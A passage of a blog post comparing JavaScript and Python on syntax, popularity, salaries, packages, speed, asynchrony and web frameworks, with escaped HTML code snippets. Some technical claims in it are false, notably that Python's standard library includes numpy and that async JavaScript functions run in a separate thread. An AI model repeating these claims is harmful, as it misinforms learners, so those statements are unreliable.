console.error(error);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;python-syntax&#34;&gt;Python syntax&lt;/h3&gt;&#xA;&lt;p&gt;On the other hand, &lt;strong&gt;Python favors readability, the use of special characters is reduced to a minimum and separation for parts of the code is done by indentation and line breaks&lt;/strong&gt;. Which can feel like some kind of pseudo code, perfect for starters, but some purists and hardcore developers may feel uncomfortable.&lt;/p&gt;&#xA;&lt;p&gt;Python uses &lt;em&gt;self&lt;/em&gt; to refer to the object itself and requires that it be passed as the first argument to each method of the object.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;: &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;result&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;You can choose to omit colon&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;MyClass&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;property&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;property &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;property&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;funcion&lt;/span&gt;(default_argument &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;args, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    my_arguments_list &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; args&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    my_keyword_argument &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; kwargs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; my_arguments_list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  do_something()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;except&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;An exception occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The syntax differences are much more extensive than the ones I expose here, each one has its own functions, its own integrated libraries and a different syntax, but I hope you have at least appreciated the small differences between the two.&lt;/p&gt;&#xA;&lt;h2 id=&#34;javascript-and-python-support&#34;&gt;Javascript and Python support&lt;/h2&gt;&#xA;&lt;h3 id=&#34;javascript-support&#34;&gt;Javascript support&lt;/h3&gt;&#xA;&lt;p&gt;Javascript is found in all browsers natively, just open the terminal of your favorite browser to start using it. It is the preferred language for manipulating the DOM.&lt;/p&gt;&#xA;&lt;p&gt;Below you can see the javascript terminal of the Firefox web browser&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/ConsolaJavascript.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/ConsolaJavascript.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;web browser terminal running javascript&#34; width=&#34;574&#34; height=&#34;362&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;You can also use node to run it on your computer.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/ConsolaDeNodeJs.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/ConsolaDeNodeJs.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Nodejs terminal on GNU/Linux running javascript&#34; width=&#34;716&#34; height=&#34;362&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Also it is the default language in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/opinion/my-n8n-review-after-using-it-for-half-a-year/&#34;&gt;automation tools like n8n.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;python-support&#34;&gt;Python support&lt;/h3&gt;&#xA;&lt;p&gt;Python is not found in browsers, however it is installed in most GNU/Linux systems by default, if you use a GNU/Linux distribution and open the terminal of your operating system and run the Python command it is most likely already installed.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/PythonConsola.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/PythonConsola.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python terminal on GNU/Linux&#34; width=&#34;716&#34; height=&#34;362&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;uses-of-python-and-javascript&#34;&gt;Uses of Python and Javascript&lt;/h2&gt;&#xA;&lt;h3 id=&#34;javascript-and-its-usage-in-the-browser&#34;&gt;Javascript and its usage in the browser&lt;/h3&gt;&#xA;&lt;p&gt;Javascript is used, mainly in the browser and is an essential language if you&amp;rsquo;re interested in Web development. However Node allows it to be used on your computer as well, to be used as a server-side language, although it was not originally conceived that way. Node js has allowed javascript to be used outside the browser, so its use has been extended, even to machine learning or small application and scripting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;del&gt;In recent years there are rumors that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://deno.land/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;deno&lt;/a&gt;&#xA;, made by the creator of Node js, will replace node, its predecessor, but they are just that, rumors.&lt;/del&gt; As today it is unlikely that deno will replace Node, in fact Javascript has many engines, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://bun.sh/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Bun&lt;/a&gt;&#xA; &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/wasmerio/winterjs&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;winterJS&lt;/a&gt;&#xA; that offer superior performance and more features than deno or node.&lt;/p&gt;&#xA;&lt;h3 id=&#34;python-and-its-usages-in-machine-learning-and-ai&#34;&gt;Python and its usages in machine learning and AI&lt;/h3&gt;&#xA;&lt;p&gt;Python is a multipurpose language, it allows you to create native UI applications, program networks or web servers, artificial intelligence, web application development, pretty much anything.&lt;/p&gt;&#xA;&lt;h2 id=&#34;which-language-is-more-popular-python-vs-javascript&#34;&gt;Which language is more popular Python vs Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Javascript started out much more popular than Python, probably due to the rise of web browsers. However, somewhere around 2017, Python gained relevance compared to JavaScript and the trend continues until the end of this year.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1759433771/coffee-bytes/popularity-programming-languages-stackoverflow_bxdsbx.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1759433771/coffee-bytes/popularity-programming-languages-stackoverflow_bxdsbx.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Google trends graph comparing Python vs Javascript&#34; width=&#34;1238&#34; height=&#34;771&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python gains relevance vs Javascript in Google trends&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;popularity-among-developers-in-2025&#34;&gt;Popularity among developers in 2025&lt;/h3&gt;&#xA;&lt;p&gt;Stackoverflow shows in its surveys that, among developers, Python is much more popular than Javascript. However, Typescript (the strongly typed JavaScript super set I mentioned earlier) is slightly more popular than Python.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1759433864/coffee-bytes/most-loved-languages-stackoverflow_qmba2o.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1759433864/coffee-bytes/most-loved-languages-stackoverflow_qmba2o.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;StackOverflow survey results for languages most liked by developers. Python ranks above Javascript&#34; width=&#34;1256&#34; height=&#34;835&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python surpasses Javascript in popularity in 2025&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;python-and-javascript-salaries-in-2025&#34;&gt;Python and Javascript salaries in 2025&lt;/h2&gt;&#xA;&lt;p&gt;During 2025, Stackoverflow didn&amp;rsquo;t report the salaries by programming language, so we can&amp;rsquo;t know whether certain programming language is paid better than other. But we can refer to last year&amp;rsquo;s results.&lt;/p&gt;&#xA;&lt;p&gt;According to Stackoverflow&amp;rsquo;s latest survey, professionals using Python are slightly better paid than those using JavaScript. However, the difference is not that significant. Typescript also ranks above Javascript.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/salarios-python-vs-javascript.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/salarios-python-vs-javascript.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Developer salaries according to programming language used&#34; width=&#34;974&#34; height=&#34;967&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python overtakes Javascript in salaries in 2024&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;standard-library-and-packages-in-python-and-javascript&#34;&gt;Standard library and packages in Python and Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Python is characterized for being a language with batteries included, that is to say, it already includes by default many functionalities that you only have to import to start using them, do you want to work with networks? import the socket module, do you want to create a GUI? use tkinter, manipulate audio? use audioop. Python includes libraries for most common needs. It even includes numpy, a powerful library for numerical analysis.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, Javascript includes only what is necessary, although it has a gigantic community of users creating packages and making them available to anyone who wants to take them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;javascript-vs-python-speed&#34;&gt;Javascript vs Python Speed&lt;/h2&gt;&#xA;&lt;p&gt;As interpreted languages they are much slower than compiled languages, so they will be quite bad if you compare them with C, C++, Java, Rust, etc.&lt;/p&gt;&#xA;&lt;h3 id=&#34;is-python-faster-than-javascript&#34;&gt;Is Python faster than javascript?&lt;/h3&gt;&#xA;&lt;p&gt;However, the difference between them is evident: it can be stated that &lt;strong&gt;Javascript executed in Node is much faster than Python&lt;/strong&gt; with its original interpreter.&lt;/p&gt;&#xA;&lt;p&gt;The graph below compares the average execution time of ten iterations of the N-Rheinas problem (the lower the better), I used the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://dev.to/seanpgallivan/solution-n-queens-5hdb&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;respective javascript and python codes of Sean P. Gallivan&lt;/a&gt;&#xA; (all credits to the author) and the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://tratt.net/laurie/src/multitime/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;multitime program&lt;/a&gt;&#xA; for the calculation of the average time.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/problema-de-las-n-reinas.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/problema-de-las-n-reinas.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Graph of the execution time of the N-Reigns problem between Javascript and Python. Javascript has better performance&#34; width=&#34;1124&#34; height=&#34;726&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Performance of the n-queens problem. Execution time on Y-axis and number of queens on X-axis.(Less is better, javascript is better).&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Node.js v15.10.0 and Python 3.8.6 were used. The code was executed directly from the terminal, without any other program running. If you want to know the specs of the computer you can write me to my social networks and I&amp;rsquo;ll be glad to let you know.&lt;/p&gt;&#xA;&lt;p&gt;Although it is quite obvious that this is not a methodology with adequate scientific rigor, it is nevertheless useful as a rough comparison.&lt;/p&gt;&#xA;&lt;h2 id=&#34;asynchronism-capability-in-python-and-javascript&#34;&gt;Asynchronism capability in Python and Javascript&lt;/h2&gt;&#xA;&lt;h3 id=&#34;asynchronism-in-javascript&#34;&gt;Asynchronism in Javascript&lt;/h3&gt;&#xA;&lt;p&gt;Asynchronous javascript functions are executed in a separate thread and return to the main thread when completed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; downloadData()}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;asynchronism-in-python&#34;&gt;Asynchronism in Python&lt;/h3&gt;&#xA;&lt;p&gt;In Python asynchronous functions run in a single thread and only switch to another corrutine when an asynchronous operation is encountered.&lt;/p&gt;&#xA;&lt;p&gt;From Python 3.5 onwards, asynchronism is incorporated using the same syntax as async and await&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; tortoise &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Tortoise, run_async&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; database.connectToDatabase &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; connectToDatabase&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; connectToDatabase()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; Tortoise&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;generate_schemas()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    run_async(main())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;javascript-vs-python-for-web-development&#34;&gt;Javascript vs Python for web development&lt;/h2&gt;&#xA;&lt;p&gt;Javascript and Python have plenty of web frameworks to choose from when it comes to web development.&lt;/p&gt;&#xA;&lt;h3 id=&#34;web-frameworks-for-javascript&#34;&gt;Web Frameworks for Javascript&lt;/h3&gt;&#xA;&lt;p&gt;There are many &lt;strong&gt;Javascript frameworks for web development for both backend and frontend&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;express&lt;/li&gt;&#xA;&lt;li&gt;nustjs&lt;/li&gt;&#xA;&lt;li&gt;meteor&lt;/li&gt;&#xA;&lt;li&gt;sails&lt;/li&gt;&#xA;&lt;li&gt;vue&lt;/li&gt;&#xA;&lt;li&gt;react&lt;/li&gt;&#xA;&lt;li&gt;svelte&lt;/li&gt;&#xA;&lt;li&gt;angular&lt;/li&gt;&#xA;&lt;li&gt;adonisjs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/javascript-frameworks.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/javascript-frameworks.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Web development frameworks for Javascript&#34; width=&#34;800&#34; height=&#34;368&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Even despite the abundance of options, new JavaScript frameworks are released more frequently than for Python &lt;del&gt;almost one per week&lt;/del&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;web-frameworks-for-python&#34;&gt;Web Frameworks for Python&lt;/h3&gt;&#xA;&lt;p&gt;Because Python is not installed in browsers, &lt;strong&gt;current web development using Python is mainly focused on the Backend part&lt;/strong&gt;, where we have quite mature solutions like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django, with its advantages and disadvantages&lt;/a&gt;&#xA;, or Flask and some more modern ones like the fast-growing in popularity, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/&#34;&gt;FastAPI web development framework&lt;/a&gt;&#xA;, about which I wrote a post before.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Django&lt;/li&gt;&#xA;&lt;li&gt;Fastapi&lt;/li&gt;&#xA;&lt;li&gt;Flask&lt;/li&gt;&#xA;&lt;li&gt;Pyramid&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/python-frameworks.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/python-frameworks.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python web development frameworks&#34; width=&#34;800&#34; height=&#34;368&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Most popular Python frameworks&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;You can write HTML and CSS code using Python for the frontend, but you will never have the same versatility as running javascript code directly in the user&amp;rsquo;s browser.&lt;/p&gt;&#xA;&lt;p&gt;Update: I learned about a library that is gaining popularity, called htmx, that allows you to generate modern apps by returning html instead of JSON responses. Go to my post where I write about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/&#34;&gt;django and htmx&lt;/a&gt;&#xA; to learn more.&lt;/p&gt;&#xA;&lt;h2 id=&#34;packages-in-pypi-and-npm&#34;&gt;Packages in Pypi and NPM&lt;/h2&gt;&#xA;&lt;p&gt;Both the Python and Javascript communities have libraries available that solve most of the common programming problems.&lt;/p&gt;&#xA;&lt;h3 id=&#34;javascript-packages&#34;&gt;Javascript Packages&lt;/h3&gt;&#xA;&lt;p&gt;Javascript uses npm for package management and there are quite a few to choose from. In June 2019 npm &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://snyk.io/blog/npm-passes-the-1-millionth-package-milestone-what-can-we-learn/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;surpassed 1 million packages released&lt;/a&gt;&#xA;. Lots and lots of variety to choose from! Although you also run into things like this:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/IsOddPackageNpm-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/IsOddPackageNpm-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;NPM is-odd package&#34; width=&#34;1294&#34; height=&#34;733&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;The package to find out if a number is odd has almost half a million downloads&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/meme-is-odd-js.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/meme-is-odd-js.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme of the rapper using the is-odd package instead of the module operator&#34; width=&#34;960&#34; height=&#34;891&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Meme of the rapper making fun of the number of downloads&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;python-packages&#34;&gt;Python packages&lt;/h3&gt;&#xA;&lt;p&gt;Pypi is the main platform in charge of Python package management. At the time this article was updated &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pypi.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Pypi has 348,000 packages published&lt;/a&gt;&#xA;, only a fifth of the amount that Javascript has! And since there are fewer packages we can expect more relevant packages, can&amp;rsquo;t we? Let&amp;rsquo;s see&amp;hellip;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/IsOddPythonPackage.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/images/IsOddPythonPackage.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;pip is-odd package&#34; width=&#34;1221&#34; height=&#34;908&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python also has a package that checks if a number is odd.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;which-language-is-better-python-or-javascript&#34;&gt;Which language is better, Python or Javascript?&lt;/h2&gt;&#xA;&lt;p&gt;I hope this small comparison has shown you a little bit of the differences between both languages and if you are thinking of focusing on one of them you will have more information on the table to make the right decision.&lt;/p&gt;&#xA;&lt;p&gt;If you need to start developing websites now, without complications, I would go for Javascript.&lt;/p&gt;&#xA;&lt;p&gt;If you want to get into machine learning and data analysis, or you want a more comprehensive solution on websites and more flexibility, I would go for Python.&lt;/p&gt;&#xA;&lt;p&gt;Either way you don&amp;rsquo;t have to reduce everything to a dichotomy, if you have time to dedicate to both you can do it, many web developers master multiple languages and use them interchangeably according to their needs.&lt;/p&gt;&#xA;</content:encoded>
